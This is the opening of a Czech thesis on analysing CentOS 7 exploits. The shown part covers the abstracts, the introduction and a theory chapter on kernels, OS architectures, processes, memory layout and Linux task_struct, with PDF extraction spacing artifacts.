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Abstrakt 
Cílem t é t o p r á c e je a n a l ý z a p ě t i v y b r a n ý c h exp lo i tů zaměřuj íc ích se na o p e r a č n í s y s t é m 
Cen tOS 7. V p r v n í čás t i j sou p ř e d s t a v e n y teore t ické koncepty p o t ř e b n é pro p o c h o p e n í 
funkce exp lo i tů . M e z i tyto koncepty p a t ř í o p e r a č n í sy s t ém, j á d r o o p e r a č n í h o sys t ému , pro
ces, v l ákno a v i r t u á l n í paměť . D r u h á čás t je už k o n k r é t n ě z a m ě ř e n a na o p e r a č n í s y s t é m 
L i n u x a jeho architekturu. T ř e t í čás t se zabývá kybernetickou bezpečnos t í , p ř i čemž jsou 
uvedeny nejčastě jš í typy ú t o k ů , nejčastě jš í typy z ran i t e lnos t í a taky n á s t r o j e využ ívané v 
oblasti kybe rne t i cké bezpečnos t i . Č t v r t á čás t se zaměřu je na b e z p e č n o s t o p e r a č n í h o s y s t é m u 
L i n u x a jeho ne jčas tě j š ím zranitelnostem. Pos l edn í čás t t é t o p r á c e je věnována p o d r o b n é 
ana lýze exp lo i tů a h l e d á n í m explo i tů . 

Abstract 
The a im of this thesis is to analyse five selected exploits targeting the Cen tOS 7 operating 
system. In the first part, the theoretical concepts needed to understand the exploits are pre
sented. These concepts include operating system, operating system kernel, process, thread 
and v i r tua l memory. The second part focuses specifically on the L i n u x operating system and 
its architecture. The th i rd part deals w i t h cybersecurity, l is t ing the most common types of 
attacks, the most common types of vulnerabilit ies, and also the tools used i n cybersecurity. 
The fourth part focuses on the security of the L i n u x operating system and its most common 
vulnerabilit ies. The last part of this thesis is devoted to a detailed analysis of exploits and 
exploit searches. 
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Kapitola 1 

Úvod 

Tato p r á c e se zabývá a n a l ý z o u pě t i v y b r a n ý c h exp lo i tů z a m ě ř e n ý c h na o p e r a č n í s y s t é m 
Cen tOS 7 a jeho j á d r o . Tř i exploity jsou u rčeny pro j á d r o a dva exploity zneužívaj í zra
nitelnosti apl ikací . J e d n o t l i v é kapi toly vysvět lu j í koncepty n u t n é pro p o c h o p e n í exp lo i tů 
a t a k é t é m a t a , k t e r á s exploity souvisí . V pos lení kapitole je uvedena de ta i ln í a n a l ý z a 
explo i tů . 

D r u h á kapi tola vysvět lu je v ý z n a m a funkci o p e r a č n í h o s y s t é m u a jeho j á d r a . Uvedeny 
jsou t a k é architektury ope račn ích sy s t émů . V podkapitole týkaj íc í se p rocesů se nacház í 
popis a v ý z n a m procesu, p l ánován í p rocesů a t a k é související struktury. Vedle procesu je 
t a k é vysvě t l en koncept v l á k n a a jeho v ý z n a m př i p a r a l e l n í m zpracován í . K a p i t o l a týkaj íc í 
se v i r t u á l n í p a m ě t i popisuje dů lež i tos t je j ího použ i t í . N a konci kapi toly je vysvě t l en koncept 
s t r ánkován í , k t e r ý úzce souvisí s v i r t u á l n í p a m ě t í . V podkapitole věnující se s t r á n k o v á n í je 
uveden v ý z n a m tohoto konceptu v souvislosti s v i r t u á l n í p a m ě t í a s t í m související struktury. 

T ř e t í kapi tola se zabývá architekturou o p e r a č n í h o s y s t é m u L i n u x a s t í m souvisej ícími 
koncepty. Vysvět leny jsou důlež i té pojmy jako je procesor nebo ap l ikačn í b i n á r n í rozh ran í . 
Je zde t a k é uveden popis p r ů b ě h u sy s t émových volání a ú rovn í p rováděn í in s t rukc í na 
procesoru. 

Č t v r t á kapi tola se věnuje problematice kybe rne t i cké bezpečnos t i . D o t é t o problematiky 
spada j í nejčastěj i p rováděné ú toky, nejčastěj i zneuž ívané zranitelnosti a t a k é p e n e t r a č n í 
t e s tován í sloužící pro v y h o d n o c e n í zabezpečen í sy s t ému . Dá le je vysvě t len pojem exploit 
a kapi tola se mimo j iné věnuje i n á s t r o j ů m využ ívaných v oblasti kybe rne t i cké bezpečnos t i . 

P á t á kapi tola se zabývá b e z p e č n o s t í o p e r a č n í h o s y s t é m u L i n u x . D o t é t o oblasti s p a d á 
t r a d i č n í model o p r á v n ě n í a novější model o p r á v n ě n í n a z v a n ý shopnosti. Uvedeny jsou t aké 
nejčastějš í zranitelnosti j á d r a o p e r a č n í h o s y s t é m u L inux . 

Šes tá kapi tola se věnuje vyh ledáván í a vývoj i exp lo i tů . V kapitole jsou uvedeny nejzná-
mější d a t a b á z e exp lo i tů , n á s t r o j e využ ívané pro vyh ledáván í exp lo i tů nebo n á s t r o j e využí
vané př i jejich vývoj i a na konci podkapi toly jsou uvedeny d r o b n é typy jak postupovat př i 
vývoj i exp lo i tů . 

Pos ledn í s e d m á kapi tola je věnována de ta i ln í ana lýze v y b r a n ý c h exp lo i tů . A n a l ý z a je 
provedena b u d p o m o c í SystemTap s k r i p t ů nebo s ledován ím č innos t i kódu . 
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Kapitola 2 

Teoretické koncepty operačních 
systémů 

V t é t o kapitole je p ř e d s t a v e n o p e r a č n í sy s t ém, jeho j á d r o a t a k é architerktury o p e r a č n í h o 
sy s t ému . Dá le jsou vysvě t l eny teore t ické koncepty ope račn ích s y s t é m ů dů lež i t é pro pocho
pen í explo i tů , k t e r ý m i se tato p r á c e zabývá . M e z i tyto koncepty p a t ř í v i r t u á l n í paměť , 
proces nebo v l ákno . 

2.1 Co je operační sys tém 

O p e r a č n í s y s t é m je software (dále jen S W ) sloužící jako mezivrstva mezi vrstvou, k t e r á 
p ř eds t avu j e hardware (dá le jen H W ) p o č í t a č e a vrstvou, k t e r á p ř e d s t a v u j e ap l ikačn í pro
gramy. Je t a k é jednou z komponent poč í t ačového s y s t é m u jak je uvedeno na o b r á z k u 2.1. 
P o č í t a č o v ý s y s t é m je dá le složen z H W , ap l ikačn ích p r o g r a m ů a už iva te le . [80] [75] 

u ž i v a t e l 

apl ikační p r o g r a m y 
(kompilátory, prohlížeče web stránek, vývojové sady, atd.) 

t í t 
o p e r a č n í s y s t é m 

t t t 
h a r d w a r e počítače 

(CPU, paměť, l/O zařízení, atd.) 

O b r á z e k 2.1: K o m p o n e n t y t v o ř í c í p o č í t a č o v ý s y s t é m . P ř e v z a t o ze z d r o j e [80]. 

V p o č í t a č o v é m s y s t é m u bez o p e r a č n í h o s y s t é m u by musely ap l ikačn í programy zahrno
vat kód pro obsluhu H W , čímž by se z n a č n ě zvýši la jejich velikost a zkomplikoval vývo j . 
Ap l ikačn í programy využívaj í o p e r a č n í s y s t é m k b ě ž n ý m č i n n o s t e m jako je n a p ř í k l a d ode
slání síťového packetu nebo k výp i su informací na monitor, p ř ičemž se n e m u s í starat o H W . 
Součás t í o p e r a č n í h o s y s t é m u jsou ov ladače zař ízení sloužící pro p ř e v o d p o ž a d a v k ů ap l ikač
ních p r o g r a m ů a o p e r a č n í h o s y s t é m u na př íkazy, k t e r ý m zař ízení rozumí . N ě k t r é funkce 
vykonává j á d r o o p e r a č n í h o s y s t é m u jak je uvedeno v kapitole 2.2. M e z i z á k l a d n í funkce 
p o s k y t o v a n é o p e r a č n í m s y s t é m e m p a t ř í následuj ící : [75] 
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• P o s k y t n u t í už iva te l ského r o z h r a n í umožňuj íc í interakci už ivate le s o p e r a č n í m sys té
mem. D v ě m a z á k l a d n í m i typy už iva te l ského r o z h r a n í jsou C L I (okno t e rminá lového re
žimu) a G U I (grafické uživate lské r o z h r a n í ) . C L I p ř eds t avu j e t ex tové r o z h r a n í pro za
dáván í p ř í kazů p o m o c í klávesnice. G U I p ř eds t avu j e v izuá ln í r ozh ran í , k t e r é je m o ž n é 
ov láda t p o m o c í klávesnice a myš i nebo t a k é n a p ř í k l a d p o m o c í do tykové obrazovky. 

• Zaj iš tění s p r á v y apl ikac í . Tato sp ráva zahrnuje spouš t ěn í , p l ánován í b ě h u na proce
soru, obsluhu p ře rušen í , s p r á v u p a m ě t i a zp racován í chyb. 

• Realizace v s t u p / v ý s t u p n í c h ope rac í H W zař ízení . T í m t o za ř í zen ím m ů ž e bý t n a p ř í k l a d 
t i ská rna , monitor nebo p e v n ý disk. 

• P o s k y t o v á n í informací o svém stavu a chybách . 

• Zaj iš tění pa ra l e ln ího zp racován í na v íceprocesorových sys témech . 

• Zaj iš tění s p r á v y ov ladačů zař ízení . Po identifikaci zař ízení nainstaluje o p e r a č n í s y s t é m 
p o ž a d o v a n é ov ladače zař ízení . V p ř í p a d ě ov ladače zař ízení pro t i s k á r n u m ů ž e ap l ikačn í 
program provés t tisk i bez znalosti k ó d ů nebo p ř íkazů pro k o n k r é t n í t i ská rnu . 

Exis tu j í r ů z n é typy ope račn ích sys t émů: 

• Univerzá ln í o p e r a č n í s y s t é m pro obecné použ i t í běžící na mnoha zař ízeních. Umožňu je 
spuš t ěn í mnoha apl ikací , jako je n a p ř í k l a d d a t a b á z e , webový prohl ížeč nebo t e x t o v ý 
editor a umožňu je t ě m t o ap l ikac ím sdílet H W zař ízení . M e z i tento typ ope račn ích 
s y s t é m ů se ř ad í n a p ř í k l a d Microsoft , M a c O S , U n i x nebo L inux . 

• Mobi ln í o p e r a č n í sys témy, k t e r é jsou u rčeny ze jména pro chy t r é mobi ln í telefony a 
tablety. Jsou n a v r ž e n y tak, aby byly efektivní , spo t ř ebováva ly co ne jméně v ý p o č e t n í c h 
zdro jů a zá roveň poskyt ly d o s t a t e č n é zdroje už iva t e l ským ap l ikac ím. Zaměřu j í se t aké 
na rychlou už iva te l skou odezvu a zp racován í dat. M e z i tyto s y s t é m y p a t ř í n a p ř í k l a d 
App le i O S nebo Google A n d r o i d . 

• Ves tavěné o p e r a č n í s y s t é m y u r č e n é pro b ě h na specia l izovaných zař ízeních vykonávaj í 
cích k o n k r é t n í č innos t . J e d n á se n a p ř í k l a d o l éka ř ská zař ízení nebo zař ízení nacházej íc í 
se v letadlech. Jsou n a v r ž e n y s ohledem na spolehlivost a výkon . M e z i t akové o p e r a č n í 
sy s t émy p a t ř í L inux . 

• O p e r a č n í s y s t é m y reá lného času ( R T O S ) g a r a n t u j í odezvu v r á m c i definovaných časo
vých omezení . Jsou u rčeny n a p ř í k l a d pro p růmys lové s y s t é m y kde slouží pro ov ládán í 
senzorů , m o t o r ů a j iných zař ízení . M e z i tyto o p e r a č n í s y s t é m y p a t ř í n a p ř í k l a d FreeR-
T O S nebo V x W o r k s . 

O p e r a č n í s y s t é m y jednoho typu mohou čás t ečně sdí let vlastnosti ope račn ích s y s t é m ů 
dalš ího typu. N a p ř í k l a d ves tavěné o p e r a č n í s y s t é m y mohou m í t n ě k t e r é vlastnotsti ope rač 
ních s y s t é m ů reá lného času. 

2 . 1 . 1 I m p l e m e n t a c e 

O p e r a č n í s y s t é m se s k l á d á z mnoha p r o g r a m ů n a p s a n ý c h ve více p rog ramovac ích jazycích . 
P ro vývoj je p o u ž i t p ř e d e v š í m p r o g r a m o v a c í jazyk C nebo C + + a m a l á čás t m ů ž e t a k é po
užívat assembler. P ř i vývoji sy s t émových knihoven mohou bý t p o u ž i t y j azyky vyšší ú rovně 
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jako je n a p ř í k l a d p rog ramovac í jazyk C + + . Vývoj př i použ i t í j azyka vyšší ú rovně p r o b í h á 
rychleji, kód je s rozumi te lně jš í a l épe se ladí . Vyššího výkonu př i použ i t í j azyka vyšší ú rovně 
m ů ž e bý t dosaženo p o u ž i t í m v h o d n ý c h d a t o v ý c h s t ruktur a a l g o r i t m ů nebo optimalizacemi 
p r o v á d ě n ý m i m o d e r n í m i p řek l adač i . [80] 

2.2 Co je j ád ro operačního sys tému 

J á d r o je srdcem o p e r a č n í h o sy s t ému . Je to program umožňuj íc í komunikaci mezi S W a H W 
a m á p ř í m o u vazbu na H W jak je uvedeno na o b r á z k u 2.2. [32] 

Software 
(aplikace na uživatelské úrovni) 

Jádro operačního systému (Kernel) 

Procesor 
(CPU) 

Paměť Zařízení 

O b r á z e k 2.2: P r o p o j e n í j á d r a o p e r a č n í h o s y s t é m u se S W a H W . P ř e v z a t o ze 
z d r o j e [32]. 

J á d r o je n a č t e n o do h lavn í p a m ě t i p o č í t a č e programem n a z ý v a n ý m zavaděč , k t e r ý se 
m ů ž e n a c h á z e t n a p ř í k l a d na p e v n é m disku nebo C D / D V D nosiči . J á d r o po n a č t e n í ř ídí 
spouš t ěn í dalš ích p rocesů o p e r a č n í h o sy s t ému . Proces je s p u š t ě n ý program, p ř i čemž dalš í 
podrobnosti jsou uvedeny v následuj íc ích kap i to l ách . J á d r o a uživate lské aplikace se nachá 
zejí v oddě lených paměťových prostorech. J á d r o se nacház í v c h r á n ě n é m prostoru j á d r a . D o 
tohoto prosotoru nema j í p ř í s t u p uživate lské aplikace ani m é n ě v ý z n a m n é čás t i o p e r a č n í h o 
sy s t ému . Uživate lské aplikace se nacháze j í v už iva te l ském prostoru. [65] [80] [32] 

M e z i h l avn í úkoly j á d r a p a t ř í nap ř ík l ad : 

• Poskytuje a p l i k a č n í m p r o g r a m ů m p ř í s t u p k per i fe rn ím za ř í zen ím p r o s t ř e d n i c t v í m 
ov ladačů zař ízení . Pe r i fe rn ím za ř í zen ím je n a p ř í k l a d klávesnice nebo myš . 

• Spravuje paměť j edno t l i vých p rocesů a umožňu je p r o c e s ů m p ř í s t u p do p a m ě t i počí
t ačového sys t ému . 

• Spravuje procesy a umožňu je jejich synchronizaci, v z á j e m n o u komunikaci a sdílení 
p r o s t ř e d k ů . 

• Rozhoduje o rozdělování p a m ě t i mezi procesy v p ř í p a d ě je j ího nedostatku. 
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2.3 Architektury operačních systémů 

O p e r a č n í s y s t é m je rozsáh lý a s loži tý software a s ohledem na jeho s p r á v n o u funkcionalitu 
a jednoduchou modifikovatelnost je n u t n é d o b ř e navrhnout jeho architekturu. D o b r ý m po
stupem př i vývoj i S W je rozdělení k ó d u na menš í čás t i s d o b ř e def inovaným r o z h r a n í m a 
s te jně tak je tomu i př i n á v r h u architektury o p e r a č n í h o sys t ému , kdy je lepší rozděl i t s y s t é m 
na moduly s def inovaným r o z h r a n í m a funkcemi. V t é t o kapitole jsou uvedeny využ ívané 
architektury ope račn ích s y s t é m ů . [80] 

2 . 3 . 1 M o n o l i t i c k á a r c h i t e k t u r a 

V p ř í p a d ě monol i t i cké s t ruktury je architektura velice j e d n o d u c h á . K ó d j á d r a je zkompi
lován do jednoho s t a t i ckého b i n á r n í h o souboru a po s p u š t ě n í běž í v jednom ad re sovém 
prostoru. N a o b r á z k u 2.3 je uvedena architektura o p e r a č n í h o s y s t é m u L inux , k t e r á m á mo
noli t ickou s t rukturu. K ó d j á d r a L i n u x u běž í v rež imu j á d r a v jednom ad re sovém prostoru. 
J á d r o L i u x u m á ovšem i p rvky m o d u l á r n í architektury p o p s a n é v kapitole 2.3.4. 

a p l i k a c e 

glibc standardní c knihovna 

i 

rozhraní sys témových volání 

i i 
souborové 
systémy 

CPU 
plánovač 

sítě 
(TCP/IP) 

správce 
paměti 

bloková 
zařízení 

znaková 
zařízení 

ov ladače zařízení 

* 1 

h a r d w a r e 

O b r á z e k 2.3: D e t a i l n í a r c h i t e k t u r a o p e r a č n í h o s y s t é m u L i n u x . P ř e v z a t o ze z d r o j e 
[80]. 

M e z i r o z h r a n í m sys t émových volání a H W se nacház í j á d r o . J á d r a jsou ob t í žně rozšiři
t e l n á a kompl ikovaně se imp lemen tu j í . Z m ě n y p rovedené v j e d n é čás t i s y s t é m u mohou mí t 
v l iv na funkci j iných čás t í . S tá l e se s n i m i s e t k á v á m e i v m o d e r n í c h ope račn ích sys t émech 
d íky jejich rychlosti a efekt ivi tě . 

2 . 3 . 2 V r s t e v n a t á a r c h i t e k t u r a 

Arch i tek tura je p o d o b n á m o d u l á r n í m u p ř í s t u p u , k t e r ý je uveden v kapitole 2.3.4. O p e r a č n í 
s y s t é m je t v o ř e n vrstvami, k t e r é v sobě zapozdřu j í data a operace manipu lu j í c í s t ě m i t o daty. 
Nejnižší vrstvou je H W a nejvyšší vrstva p ř eds t avu j e uživate lské r o z h r a n í jak je zobrazeno 
na o b r á z k u 2.4. 
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uživatelské rozhraní 

Vrs tvy využívaj í pouze s lužeb p o s k y t o v a n ý c h nižš ími vrs tvami. Tento p ř í s t u p u sn ad ňu j e 
t e s tován í funkce vrstev. P ř i v ý s k y t u chyby se tato chyba nacház í v a k t u á l n ě t e s tované v r s tvě 
za p ř e d p o k l a d u , že jsou nižší vrs tvy od laděny . N e v ý h o d o u tohoto p ř í s t u p u je p o ž a d a v e k 
na p ř e s n é definování funkce vrstev. Dalš í n e v ý h o d o u je nižší v ý k o n vzhledem k tomu, že 
p o ž a d a v e k uživate lské aplikace na s lužbu mus í p rocháze t někol ika vrs tvami. Nejčastě j i je 
volen menš í poče t vrstev s více funkcemi, což poskytuje v ý h o d y m o d u l á r n í architektury. 
V r s t v e n á architektura je v y u ž i t a n a p ř í k l a d v poč í t ačových sí t ích. 

2 . 3 . 3 A r c h i t e k t u r a m i k r o j á d r a 

M é n ě v ý z n a m n é čás t i j á d r a jsou p ř e s u n u t y do už iva te l ského prostoru a j á d r o se s t ává men
š ím a bezpečně j š ím. Vyčleněné čás t i j á d r a jsou s p u š t ě n y jako uživate lské programy posky
tuj ící s lužby. T í m t o z p ů s o b e m m ů ž e bý t n a p ř í k l a d s p u š t ě n a s lužba souborového sy s t ému . 
P ř i se lhán í s lužby nen í ov l ivněna funkce o s t a t n í c h s lužeb o p e r a č n í h o s y s t é m u . Určen í čás t í , 
k t e r é ma j í bý t vyč leněny n e m u s í bý t j e d n o d u c h é . M i k r o j á d r o zajišťuje komunikaci mezi 
s lužbami a už iva te l skými aplikacemi p o m o c í zp ráv jak je uvedeno na o b r á z k u 2.5. Uživa
te l ský program prováděj íc í souborovou operaci m u s í p o m o c í z p r á v komunikovat se s lužbou 
souborového sy s t ému . 
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aplikační 
program 

souborový 
systém 

ovladač 
zařízení 

f meziprocesová \ 
l komunikace J 

uživatelský 
režim 

i • • i ix i u j a u i \j ^ I I I I W I U I X C I I I C I / t 

h a r d w a r e 

režim 
jádra 

O b r á z e k 2.5: A r c h i t e k t u r a m i k r o j á d r a . P ř e v z a t o ze z d r o j e [80]. 

P ř i d á n í nových s lužeb do už iva te l ského prostoru nevyžadu je z m ě n u j á d r a a v ý h o d o u je 
tedy s n a d n á rozš i ř i te lnos t o p e r a č n í h o s y s t é m u . V ý h o d o u je t a k é snazš í p řenos i t e lnos t mezi 
r ů z n ý m H W . N e v ý h o d o u mikrojader m ů ž e bý t nižší v ý k o n z p ů s o b e n ý režií p ř i p ř e d á v á n í 
zpráv . 

2 . 3 . 4 M o d u l á r n í a r c h i t e k t u r a 

Tato metoda n á v r h u p a t ř í mezi nejlepší . J á d r o poskytuje z á k l a d n í funkce a o s t a t n í funkce je 
m o ž n é p ř i d á v a t př i s p u š t ě n í nebo za b ě h u p o m o c í nač í t e t e lných m o d u l ů j á d r a ( L K M ) . J á d r o 
n a p ř í k l a d implementuje algori tmy pro p l ánován í b ě h u p rocesů na procesoru nebo s p r á v u 
p a m ě t i a p o m o c í modulu lze do o p e r a č n í h o s y s t é m u zavést ov ladače zař ízení nebo podporu 
nového souborového sy s t ému . Arch i tek tu ra je p o d o b n á v r s tvené a r c h i t e k t u ř e , p ro tože se já 
dro sk l ádá z čás t í s def inovaný r o z h r a n í m , ale v ý h o d o u je, že moduly mohou komunikovat se 
všemi o s t a t n í m i moduly. Arch i t ek tu ra se t a k é p o d o b á a r c h i t e k t u ř e m i k r o j á d r a , ale moduly 
nemusej í pro komunikaci využ íva t zpráv , což p ř ináš í vyšší výkon . J á d r o o p e r a č n í h o s y s t é m u 
L i n u x je d íky t é t o a r c h i t e k t u ř e m o d u l á r n í a d y n a m i c k é a zá roveň m á v ý h o d y monol i t ické 
architektury mezi k t e r é p a t ř í n a p ř í k l a d vyšší výkon . V ý h o d o u tohoto p ř í s t u p u je t a k é to, 
že př i p ř i d á n í nové funkcionality zaveden ím nového modulu nen í n u t n é znovu kompilovat 
kód j á d r a . 

2 . 3 . 5 H y b r i d n í a r c h i t e k t u r a 

O p e r a č n í s y s t é m y jsou vě t š inou spíše kombinac í více architektur. N a p ř í k l a d o p e r a č n í sys
t é m y L i n u x a Windows využívaj í z větš í čás t i monoli t ickou architekturu, k t e r á poskytuje 
vysoký výkon . Dá le však využívaj í i m o d u l á r n í architektury umožňuj íc í d y n a m i c k é při
dáván í nových funkcí do j á d r a . O p e r a č n í s y s t é m Windows podporuje b ě h s a m o s t a t n ý c h 
s u b s y s t é m ů v už iva te l ském rež imu, což je typycké pro mik ro j ád rové architektury. 

2.4 Proces 

Proces p ř e d s t a v u j e s p u š t ě n ý program. K e své č innos t i vyžadu je r ů z n é zdroje. P ř í k l a d e m 
t akového zdroje je n a p ř í k l a d paměť , čas procesoru nebo v s t u p n ě - v ý s t u p n í zař ízení . V ope-
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r a č n í m s y s t é m u se m ů ž e n a c h á z e t mnoho p rocesů z nichž n ě k t e r é vykonáva j í kód o p e r a č n í h o 
s y s t é m u a n ě k t e r é už iva te l ský kód . N a o b r á z k u 2.6 je uvedeno rozložení p a m ě t i procesu. 
[80] 

max 
stack 

(zásobník) 

heap 
(hromada) 

data 

text 

O b r á z e k 2.6: R o z l o ž e n í p a m ě t i p r o c e s u . P ř e v z a t o ze z d r o j e [80]. 

P a m ě ť procesu se sk l ádá z někol ika čás t í : 

• V čás t i text se nacház í kód. 

• V čás t i data se nacház í g lobáln í p r o m ě n n é . 

• V čás t i heap se nacház í paměť dynamicky a lokovaná př i b ě h u programu. 

• V čás t i stack se nacház í paměť zásobn íku u r č e n á pro d o č a s n é uložení dat př i vo
lání funkcí. M e z i tato data p a t ř í n a p ř í k l a d parametry funkcí, lokální p r o m ě n n é nebo 
n á v r a t o v é adresy. 

Velikost čás t í text a data je p e v n á a b ě h e m p rováděn í programu se n e m ě n í . Velikost 
čás t í heap a stack je p roměn l ivá . Č á s t heap se zvětšuje p ř i d y n a m i c k é alokaci p a m ě t i a př i 
dealokaci se tato čás t p a m ě t i zmenšu je . Č á s t stack se zvětšuje př i volání funkcí. P ř i volání 
funkce je do p a m ě t i stack vložen ak t ivačn í z á z n a m obsahuj íc í parametry funkce, lokální 
p r o m ě n n é a n á v r a t o v o u adresu. P ř i dokončen í funkce je ak t ivačn í z á z n a m z p a m ě t i odstra
něn a velikost p a m ě t i stack se zmenšu je . Č á s t stack se rozšiřuje s m ě r e m k n ižš ím a d r e s á m 
a čás t heap se rozšiřuje naopak. O p e r a č n í s y s t é m mus í z a b r á n i t p ř e k r y t í t ě ch to čás t í . 

Proces vzn iká ze s p u s t i t e l n é h o souboru př i dvojk l iku na spus t i t e lný soubor nebo za
d á n í m n á z v u s p u s t i t e l n é h o souboru do př íkazového ř á d k u . Spus t i t e l ný soubor p ředs t avu je 
seznam ins t rukc í u ložený na disku. Spus t i t e l ný soubor je pas ivn í entita, p ř i čemž proces je 
ak t i vn í entita s p ř idě l enými zdroji a p r o g r a m o v ý m č í t a č e m jehož hodnota určuje adresu 
dalš í instrukce, k t e r á se m á vykonat . Z jednoho s p u s t i t e l n é h o souboru m ů ž e vzniknou více 
p rocesů , p ř i čemž obsah čás t i text jejich p a m ě t í je stejný, ale obsah čás t í data, heap a stack 
se liší. 

Proces m ů ž e s louži t i jako běhové p r o s t ř e d í pro j iné programy. Proces p ř e k l á d á kód 
programu na n a t i v n í s t ro jové instrukce a je označován jako interpret. Vykonávaný program 
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se označuje jako i n t e r p r e t o v a n ý a je n a p s á n v n ě k t e r é m i n t e r p r e t o v a n é m p r o g r a m o v a c í m 
jazyce, mezi k t e r é p a t ř í Py thon , P H P nebo Ruby. P ř í k l a d e m t akového procesu je v i r t uá ln í 
stroj Java ( J V M ) , v r á m c i k t e r é h o je v y k o n á v á n program n a p s a n ý v jazyce Java. [80] [73] 

2 . 4 . 1 R o z l o ž e n í p a m ě t i p r o g r a m u v j a z y c e C 

N a o b r á z k u 2.7 je uvedeno rozložení p a m ě t i procesu a souvislost se z d r o j o v ý m k ó d e m pro
gramu jazyka C , ze k t e r é h o proces vzn ik l . 

vysoké 
adresy 

nízké 
adresy 

arge, argv 

stack (zásobník) 

heap (hromada) 

neinicializovaná 
data 

inicializovaná 
data 

text 

#include <stdio.h> 
#include <stdlib.h> 

(int *)malloc(sizeof(int)*5); 

f o r ( i = 0; i < 5; i+ 
values [i] = i ; 

return 0; 

O b r á z e k 2.7: R o z l o ž e n í p a m ě t i p r o g r a m u v j a z y c e C . P ř e v z a t o ze z d r o j e [80]. 

Čás t data u v e d e n á na o b r á z k u 2.6 nebo 2.7 a je rozdě lena na čás t neinic ia l izovaných a 
inicial izovaných dat. P a m ě ť s hodnotou 15, k t e r á je vyhrazena pro p r o m ě n n o u y se nacház í v 
čás t i inicial izovaných dat. P a m ě ť vyhrazena pro neinicializovanou p r o m ě n n o u x se nacház í 
v čás t i neinic ia l izovaných dat. Parametry funkce main jsou u loženy v p a m ě t i zásobn íku . 
P a m ě ť a lokována funkcí malloc se nacház í v p a m ě t i hromady. 

2 . 4 . 2 S t a v p r o c e s u 

Proces se m ů ž e n a c h á z e t v jednom z pě t i s t a v ů . T y t o stavu jsou uvedeny na o b r á z k u 2.8. 

O b r á z e k 2.8: S t a v y , ve k t e r ý c h se m ů ž e p r o c e s n a c h á z e t . P ř e v z a t o ze z d r o j e [80]. 

Ve stavu new je proces v y t v o ř e n a nás l edně p řecház í do stavu ready. P o p ř i ř azen í k 
procesoru p řecház í do stavu running, ve k t e r é m jsou p rováděny instrukce procesu na pro-
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cesoru. P ř i zahá jen í čekán í na dokončen í v s t u p - v ý s t u p n í operace nebo př i zahá jen í čekán í 
na u r č i t ou udá los t p řecház í do stavu wait ing. P o dokončen í v s t u p - v ý s t u p n í operace nebo 
při v ý s k y t u udá los t i p řecház í do stavu ready. Ze stavu running do stavu ready se m ů ž e 
proces dostat t a k é na zák l adě p ř í jmu p ře rušen í . Ve stavu terminated je ukončeno p rováděn í 
procesu. 

N a procesoru s j e d n í m j á d r e m je m o ž n é p rovádě t v jednu chvíli jen jeden proces. O s t a t n í 
procesy p ř ip r avené na p rováděn í m u s í čeka t . 

2 . 4 . 3 B l o k ř í z e n í p r o c e s u 

Procesy jsou r ep rezen továny s t rukturou Process Con t ro l B lock ( P C B ) , k t e r á je u v e d e n á na 
o b r á z k u 2.9. 

stav p rocesu 

číslo p rocesu 

čítač p r o g r a m u 

registry 

omezení paměti 

seznam otevřených souborů 

• • • 

O b r á z e k 2.9: B l o k ř í z e n í p r o c e s u . P ř e v z a t o ze z d r o j e [80]. 

Ve s t r u k t u ř e jsou u loženy informace dů lež i t é pro s p u š t ě n í nebo r e s t a r t o v á n í procesu. 
Nacház í se v ní následuj íc í informace: 

• Stavy procesu byly p o p s á n y v čás t i 2.4.2. 

• Č í t a č programu u d á v á adresu následuj íc í instrukce, k t e r á se m á v r á m c i procesu pro
vést . 

• Hodnoty reg i s t rů procesoru. P ř i p o z a s t a v e n í vykonáván í procesu je n u t n é uloži t hod
noty nacházej íc í se v registrech procesoru. Registry se liší v závislost i na a r c h i t e k t u ř e 
a p a t ř í mezi ně n a p ř í k l a d indexové registry nebo registry pro obecné použ i t í a dalš í . 

• Informace související s p l á n o v á n í m b ě h u procesu, mezi k t e r é p a ř í n a p ř í k l a d pr ior i ta 
procesu. 

• Informace související se sp rávou p a m ě t i , mezi k t e r é p a t ř í n a p ř í k l a d tabulka s t r á n e k . 

• Informace související s ú č t o v á n í m , mezi k t e r é p a t ř í n a p ř í k l a d čísla p rocesů , m n o ž s t v í 
času s t r áveného v y k o n á v á n í m p rocesů na procesoru. 

• V s t u p - v ý s t u p n í informace, mezi k t e r é p a t ř í n a p ř í k l a d seznam o t ev řených s o u b o r ů 
procesu. 
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2 . 4 . 4 R e p r e z e n t a c e p r o c e s ů v s y s t é m u L i n u x 

O b e c n á s t ruktura P C B p o p s a n á v čás t i 2.4.3 je v o p e r a č n í m s y s t é m u L i n u x implemento
v á n a p o m o c í s t ruktury task_struct, k t e r á se nacház í ve zdro jových kódech j á d r a . Č á s t t é t o 
s t ruktury je uvedena ve výpise 2.1. S t ruktura task_struct obsahuje s te jné informace jako 
P C B a nav íc m á odkaz na rod ičovský proces, sourozenecké procesy a procesy p o t o m k ů . 

long state; /* state of the process */ 
struct sched_entity se; /* scheduling information */ 
struct tast_struct *parent; /* t h i s process's parent */ 
struct list_head children; /* this process's children */ 
struct f i l e s _ s t r u c t * f i l e s ; /* l i s t of open f i l e s */ 
struct mm_struct *mm; /* address space */ 

Výpis 2.1: S t r u k t u r a task struct v s y s t é m u L i n u x . P ř e v z a t o ze z d r o j e [80]. 

St ruktury task_struct ak t i vn í ch p rocesů jsou u loženy ve dvoj i tě p r o p o j e n é m seznamu 
u v e d e n é m na o b r á z k u 2.10. Odkaz na a k t u á l n í v y k o n á v a n ý proces na procesoru je u ložen 
v ukazatel i current. 

struct taskstruct 
informace o procesu 

struct task_struct struct task_struct 
informace o procesu • • • informace o procesu 

• • • • • • 

current (aktuální) 
(aktuálně prováděný proces) 

O b r á z e k 2.10: D v o j i t ě p r o p o j e n ý s e z n a m a k t i v n í c h p r o c e s ů . P ř e v z a t o ze z d r o j e 
[80]. 

2 . 4 . 5 P l á n o v á n í p r o c e s ů 

P l á n o v a č p rocesů v y b í r á proces z m n o ž i n y p rocesů pro p rováděn í na procesoru, tak aby by l 
procesor co nejvíce vy t ížen . N a jednom j á d r u procesoru m ů ž e bý t v jednu chvíli p r o v á d ě n jen 
jeden proces. V p ř í p a d ě v íce jádrového procesoru m ů ž e bý t v jednu chvíli v y k o n á v á n více než 
jeden proces, p ř i čemž o s t a t n í procesy m u s í čeka t . Celkový p o č e t p rocesů naháze j íc ích se v 
p a m ě t i je označován jako s t u p e ň v íce jádrového p rováděn í (mult iprogramming). N a o b r á z k u 
2.11 jsou uvedeny fronty čekajících a p ř ip r avených p rocesů . Procesy jsou r ep rezen továny 
s trukturou P C B . 
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hlavička f r o n t y PCB PCB 

